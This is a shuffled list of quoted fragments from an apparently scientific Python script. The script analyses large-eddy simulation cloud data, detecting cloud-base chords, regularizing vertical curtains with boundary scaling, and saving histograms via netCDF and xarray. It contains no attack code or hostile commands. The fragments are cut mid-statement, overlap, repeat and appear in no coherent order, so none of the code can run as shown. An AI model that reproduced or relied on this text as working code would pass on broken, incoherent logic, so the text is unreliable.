"at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling is used, the",
"numpy as np import math from netCDF4 import Dataset import",
"20 t_min = 30 t_max = 120000 cell_min = 3",
"= [] #uses glob to get all files which contain",
"if base_smoothing_flag ==1: z_idx_base_smooth = z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for",
"{reg_var :(('regularized height', 'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized time'),",
"# directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max = maximum number",
"extra_string = '' #This now a bit trickier then for",
"#Sum of w below #Coming next chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up",
"save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string =",
"if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx += 1 time3",
"= ttiimmee.time() print('iterable: ',it) print('n_chords: ',n_chords) print('number of time points",
"to arrays? Fuck it, will do it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration",
"and post regularization plots of reg_var # data_dim_flag: 1 =",
"the regularized t axis but for original resolution #It is",
"required. Is skipped if there are less than 2 timesteps,",
"of the original curtain a vertical interpolation is done for",
"of w from -10 to 10 and a 0.1 spacing",
"= np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain = f(t_reg_mid,z_reg_mid)",
"scaling using w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3)",
"% of the domain height, but spit out a warning",
"z_idx_base[:] = z_idx_base_smooth[:] if base_smoothing_flag==2: #just put the percentile back",
"== 1 and len(cbl_cl_idx)>1: #First thing to do is calculate",
"#Small chord lengths with more than t_min which are mostly",
"= var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve",
"N_bins=400, base_percentile = 25, boundary_scaling_flag = 1, range_var = [-10,10]",
"= ql_2d #Should now be able to delete 3d fields",
"#Now we simply go through all cloudy timesteps and detect",
"p*qt sat_qv = 6.112*100 * np.exp(17.67 * (T - 273.15)",
"[-10,10] ): #We are starting out with histograms of w",
"or column files. Used for testing things quickly # size_bin_flag",
"var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_chord = 0 n_curtain_up",
"Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string",
"super strict, but goes on for a loooong time as",
"file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref",
"= np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum =",
"cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0:",
"additional constraint that each chord must include at least cell_min",
"#fake t vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies if",
"beards to '+save_string) print(':') print(':') print(':') print(':') print(':') return #A",
"to the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext",
"= z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux =",
"(func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag == 1: #Now adding the boundary scaling",
"function of the chordlength, using a 0.1 running mean if",
"is created which is a list of all timesteps that",
"############################################################################################################################## #PLOTS ############################################################################################################################## #If the plot flag is set the",
"> 0.08: z += 1 w_var = w2[tt,z] #w_var =",
"int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] =",
"directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max = maximum number of",
"qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose() - thl_prof[it,:]).transpose() #to get the fake",
"lowest cloud cell is within 300 m of CBL nt",
"cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy",
"== 'ql': var_2d = ql_2d #Should now be able to",
"proc_beard_regularize in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print(':') #Replacing saving with",
"cell running mean, #But now we are making it a",
"var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to",
"'_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base =",
"lower than t_gap it counts as the same cloud #As",
"import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import UnionFind from cusize_functions",
"range_var = [-10,10] ): #We are starting out with histograms",
"anomalies of thl and qt we subtract the closet mean",
"curtain a vertical interpolation is done for i in range(idx_beg_curtain,idx_end_curtain):",
"= z_idx_base_default for i in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and i<idx_end_chord",
"chord_times = 0, anomaly_flag = 0, N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12,",
"= min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain: ',n_curtain)",
"if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star var_cl_base =",
"#First loading surface variables from default profile print('calculating cbl height",
"for each profile time for tt in range(len(time_prof)): w_var =",
"surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star",
"np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))])",
"y directions #Two different scale_flags added to rotate the curtain",
"it, will do it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length)",
"of values which fulfills cell_min they are counted as a",
"base speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending",
"the fake time vector we load the wind from the",
"is reached # boundary_scaling_flag: 0 nothing, 1 uses the surface",
"+'.nc' xr_dataset.to_netcdf(save_string) print('saved beard data to '+save_string) if size_bin_flag==1: xr_dataset",
"N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if",
"V_ref, time_resolution',it, V_ref, time_resolution ) print('ref_lvl used to determine reference",
"percentile used to find chordlength bottom # chord_times: 0 use",
"+= 1 #First thing to do is calculate the chord",
"= 2*scaling_factor_y if scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor)",
"get all files which contain column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for",
"beginning extend before #I added 2 cells buffer at the",
"= directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc'",
"#to get the fake time vector we load the wind",
"N_it_min=0, N_it_max=1e9): # plot_curtains_flag: 0 nothing, 1 plots pre regularization",
"needed cbl height cbl_1d = t_1d*0 #The needed surface_bouyancy_flux bflux_s_1d",
"np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into date: ',date) if",
"time as ttiimmee from scipy.interpolate import interp1d from scipy.interpolate import",
"if data_dim_flag==1: filename_column = [] #uses glob to get all",
"= 1.0/z_idx_base[i] nz = var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig",
"list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref",
",it,'ql') w_3d = grab_3d_field(file_w ,it,'w') qt_3d = grab_3d_field(file_qt ,it,'qt') thl_3d",
"histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist else: print('no cloudy",
"mean cloud base height # 2, similar to 1 but",
"alpha) dewpoint = dewpoint + 273.15 LCL = 125.*(T-dewpoint) LCL_index",
"dx = 25.0 date = date_str #1D clustering parameters in",
"is loaded dx = 25.0 date = date_str n_percentiles =",
",np.array(var_3d.reshape((nz,nx*ny)))]) #This might save a bit of memory if reg_var",
"chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile of cloud base",
"iterate over columns or timesteps if data_dim_flag==1: n_iter =len(filename_column) if",
"size binned beards to '+save_string) print(':') print(':') print(':') print(':') print(':')",
"now to always go over x and y directions #TODO",
"original curtain a vertical interpolation is done for i in",
"dates, if you want to do that call the function",
"data') sys.exit() #Now adding the boundary scaling using w* #Is",
"t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start the interpolation",
"out if we need scaling_factor_x or y by seeing if",
"nz = scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve",
"= np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be able to delete 3d",
"t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant chord indexes",
"w_2d if reg_var == 'ql': var_2d = ql_2d #Should now",
"string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag) if",
"= np.zeros((nz,1)) w_2d = np.zeros((nz,1)) var_2d = np.zeros((nz,1)) t_1d =",
"25.0 date = date_str #1D clustering parameters in seconds, taken",
"Used for testing things quickly # N_it_min = start number",
"1D #Now we simply go through all cloudy timesteps and",
"#TODO #plot_flag disabled for the mean time def proc_beard_regularize(reg_var =",
"cl_base_75_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l]))",
"height ref_lvl = cbl_1d_prof[it] else: #If no clouds are present",
"to confusing. import numpy as np import math from netCDF4",
"new reference level is com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y =",
"#seems not to be needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base",
"#1D clustering parameters in seconds, taken to agree with Lareau",
"if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx += 1 time3 = ttiimmee.time() print('iterable:",
"0.005 n_z_reg = int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra",
"#But now we are making it a function of the",
"N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base",
"data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think of a good",
"= save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with ', sum(var_pdf), 'points to",
"the original curtain a vertical interpolation is done for i",
"cusize_functions import * #import matplotlib.pyplot as plt import pandas as",
"= np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_chord = 0 n_curtain_up =",
"vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny)))",
"func_curtain_reg so I instead made it a nested function var_curtain_tmp",
"chord_times = 0, N_it_min=0, N_it_max=1e9): # plot_curtains_flag: 0 nothing, 1",
"#Scaling between x and y is calculated here if required.",
"to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f",
"a seperate output for each time slice, is needed for",
"data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc'",
"print('n_curtain: ',n_curtain) time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column:",
"d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to the",
"= p*qt sat_qv = 6.112*100 * np.exp(17.67 * (T -",
"var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag == 1: #Now adding the",
"time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized",
"chordlength bottom # chord_times: 0 use Neils values, use values",
"= column, 3 = 3D snapshot # chord_times: 0 use",
"skipped if there are less than 2 timesteps, which is",
"= v_ref_prof/V_ref_prof #Using the mean cloud base height as the",
"MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all cloudy",
"np.exp(17.67 * (T - 273.15) / (T - 29.65 ))",
"#TODO #plot_flag disabled for the mean time def proc_chords( date_str='20160611',",
"= Dataset(filename_qt,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex':",
"percentile in agreement with Neil if data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile))",
"#hopefully this helps gc.collect() #Getting anomalies of thl and qt",
"vertical but low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems not",
"gc import glob import xarray as xr #turned into a",
"-10 to 10 and a 0.1 spacing var_hist_sum=np.zeros(N_bins) date =",
"height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs = settings_dict #Making save string",
"np.zeros((nz,1)) thl_2d = np.zeros((nz,1)) qt_2d = np.zeros((nz,1)) t_1d = np.zeros(1)",
"plt import pandas as pd import gc import glob import",
"t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound =",
"but this might break the memory bank #want to keep",
"bin_size = 250, curtain_extra = 1.0, chord_max = 1e9, boundary_scaling_flag",
"= save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base",
"to be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0]",
"t_max = 1e9 cell_min = 3 #Minimal number of cells",
"by curtain_extra #takes the original time vector, subtracts it by",
"chord_qt = [] chord_qt_25 = [] chord_qt_75 = [] chord_w_flux",
"running mean if base_smoothing_flag ==1: z_idx_base_smooth = z_idx_base*1.0 N =",
"np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using the mean",
"#Does it matter if I turn these from lists to",
"a bit of overlap is used. if idx_end_curtain<nt-2 and idx_beg_curtain>2",
"i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:] if",
"xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized",
"'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved",
"data and thus all surface fluxes are the same everywhere.",
"int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound",
"snapshot # chord_times: 0 use Neils values, use values that",
"implemented yet') ############################################################################################################################## #switching to y direction if half of",
"[] chord_qt_75 = [] chord_w_flux = [] #Sum of w",
"= var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have",
"np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain",
"we are making it a function of the chordlength, using",
"w_2d = w_2d.transpose() ql_2d = file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d",
"the vector if u>0. Is set to 0 if data_dim_flag==1",
"np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins)",
"= w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up =",
"LCL = 125.*(T-dewpoint) LCL_index = np.floor(LCL/dz) #now calculate the cbl",
"chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #Getting the",
"interp1d from scipy.interpolate import interp2d #from scipy.interpolate import griddata #from",
"go over x and y directions #Two different scale_flags added",
"#function regularizes to cloud base #2019-03-20: added smoother to hopefully",
"have to interpolate 2D onto the rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape)",
"back z_idx_base[:] = z_idx_base_default #default version for variable base height",
"= np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical",
"= t_cloudy_idx #Checking if it fulfils chord criteria regaring time",
"through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx < len(cbl_cl_idx)-1",
"#detecting if chord base has a positive or negative w,",
"+= var_curtain_tmp else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) ##############################################################################################################################",
"cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D #Now we simply go",
"than t_min which are mostly gaps. t_cloudy_idx = 0 #n_chords",
"+= 1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1",
"import math from netCDF4 import Dataset import os import time",
"they aren't needed anymore, not sure if that helps save",
"var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling is used, the variable is scaled",
"= file_prof['qtflux'][:,1] print('dz: ',dz) time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0",
"N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl'",
"t_gap = 20 t_min = 30 t_max = 120000 cell_min",
"vector #Assigning reference cloud base where no cloud present z_idx_base=cl_base*1.0+0.0",
"cloudy indexes while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap):",
"is used for chords #proc_beard_regularize for generating beards #proc_pdf saves",
"base #Both have a large overlap, but I split them",
"'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved to an",
"plots of reg_var # data_dim_flag: 1 = column, 3 =",
"ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof =",
"qtflux_s_1d = t_1d*0 thlflux_s_1d = t_1d*0 #Now we go through",
"nothing, 1 plots pre and post regularization plots of reg_var",
"and y directions #TODO #plot_flag disabled for the mean time",
"0, N_it_min=0, N_it_max=1e9): # plot_curtains_flag: 0 nothing, 1 plots pre",
"LCL: ',LCL_index) #Now we either iterate over columns or timesteps",
"indexes while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx",
"len(cbl_cl_idx)>1: #First thing to do is calculate the chord base",
"#because the vectors don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() -",
"with an imaginary time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d =",
"directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size binned beards to '+save_string) print(':')",
"are mostly gaps. t_cloudy_idx = 0 #n_chords = 0 chord_idx_list",
"avoid some weird initial fields. time_begin = ttiimmee.time() dz =",
"up or downdraft chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is",
"to get all files which contain column. column_files = glob.glob(directory_input+date+'/*column*.nc')",
"ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') qt_3d =",
"bit beyond -1.5 and 1.5, total width defined by curtain_extra",
"3 #Minimal number of cells needed per chord # #1D",
"chord searcher print('skipping timestep: ',it,' cause no clouds') ql_2d =",
"reg_var == 'ql': var_2d = ql_2d #Should now be able",
"that below to that chordlength #However if the duration of",
"scaling_factor = 2*scaling_factor_x else: scaling_factor = 2*scaling_factor_y if scaling_factor>0: var_curtain_tmp",
"setting it with running average 2: just use percentile defined",
"10 #Index of minimum z_vlvl of the cbl #z_min =",
"z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling = w_star if reg_var=='qt': surf_flux",
"= total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get",
"seconds it isn't #I added an additional constraint that each",
"file. #Changing 3D output #Default is now to always go",
"if scale_flag==1: #find out if we need scaling_factor_x or y",
"file_prof = Dataset(filename_prof,read='r') extra_string = '' n_chords = 0 #This",
"as the file. #If the input data is a 3D",
"next index in total, if so the cells are connected",
"scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling flag 2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), '",
"which devided by the grid spacing gives us a fake",
"a profile # # base_smoothing_flag: 0 use mix of percentile",
"reference level is com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)]",
"3D snapshot # chord_times: 0 use Neils values, use values",
"= 25, special_name='', chord_times = 0, N_it_min=0, N_it_max=1e9): # plot_curtains_flag:",
"= qt_pressure/sat_qv #Dewpoint A = 17.27 B = 237.7 alpha",
"closet mean profile if anomaly_flag==1: for tt in range(len(time_prof)): tmp_matrix",
"idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain] chord_cells",
"am too lazy to pass on all my variables to",
"if plot_curtains_flag ==1: print('plotting not implemented yet') ############################################################################################################################## #switching to",
"timesteps or column files. Used for testing things quickly #",
"base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling = w_star if",
"'points to '+save_string) print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"to analyze is unclear, I will try to include everything",
"chord_w_flux = [] #Sum of w below #Coming next chord_w_per",
"max chords reached ############################################################################################################################## if n_chords == int(chord_max/2): t_cloudy_idx =",
"large overlap, but I split them in two to keep",
"subtracts it by mean time, then scales it by 1/(time_end_chord-time_beg_chord)",
"np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum =",
"ref_idx = np.mean(cl_base[cbl_cl_idx]) if scale_flag == 1: #a new reference",
"chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving print('all chords: ',len(chord_duration))",
"use percentile defined by base_percentile # base_percentile: percentile used to",
"Used for testing things quickly # size_bin_flag bins the beards",
"each time slice, is needed for scale_flag # scale_flag: If",
"assigned when no clouds are present if scale_flag > 0",
"calculates a histogram below the cloud base and saves it",
"+ (T-273.15))) alpha = alpha + np.log(rel_hum) dewpoint = (B",
"chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles)",
"present if scale_flag > 0 and t_1d.shape[0]>3: #calculate the profiles",
"directly from the cloud base speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l])",
"= u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() #lets try",
"==1: z_idx_base_smooth = z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in",
"regularization curtains are plotted. if plot_curtains_flag ==1: print('plotting not implemented",
"through all cloudy timesteps and detect chords #If they fulful",
"loaded dx = 25.0 date = date_str n_percentiles = 7",
"Added simplified version for base_smoothing_flag == 2 which gets rid",
"= Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r') file_qt =",
"xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized time','length'),",
"there are less than 2 timesteps, which is what is",
"#If no clouds are present we pass a very short",
"del ql_3d del var_3d gc.collect() #Switching to anomalies if anomaly",
"Is set to 0 if data_dim_flag==1 # 1 the ref_lvl",
"N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N)",
"adds to the sum of up or downdraft chords w_tmp",
"= surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star",
